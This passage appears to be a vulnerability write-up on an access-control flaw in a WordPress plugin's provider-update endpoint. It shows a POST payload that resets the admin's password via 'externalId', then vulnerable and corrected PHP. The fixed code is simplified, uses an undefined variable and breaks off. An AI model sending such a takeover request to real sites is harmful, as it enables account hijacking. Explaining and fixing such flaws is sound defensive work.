1. User authenticated as "Provider" (Employee)
   ↓
2. Sends POST request to update endpoint
   {
     "externalId": 1,  // Admin ID (not the attacker's)
     "firstName": "Hacked Admin",
     "email": "[email protected]",
     "password": "new_password"
   }
   ↓
3. System does NOT validate whether 'externalId' belongs to the current user
   ↓
4. Uses wp_set_password(externalId, new_password)
   ↓
5. Admin password changed → Account Takeover

// VULNERABLE CODE (Simplified)
public function updateProvider($providerId, $data) {
    // ❌ Does NOT verify if providerId == current_user
    $provider = Provider::find($providerId);
    
    // Directly executes without validation
    wp_set_password($data['password'], $provider->wp_user_id);
}

// CORRECT CODE
public function updateProvider($providerId, $data) {
    // ✅ Verifies ownership
    if ($providerId !== current_user_id()) {
        throw new UnauthorizedException();
    }
    wp_set_password($data['password'], $provider->wp_user_id);
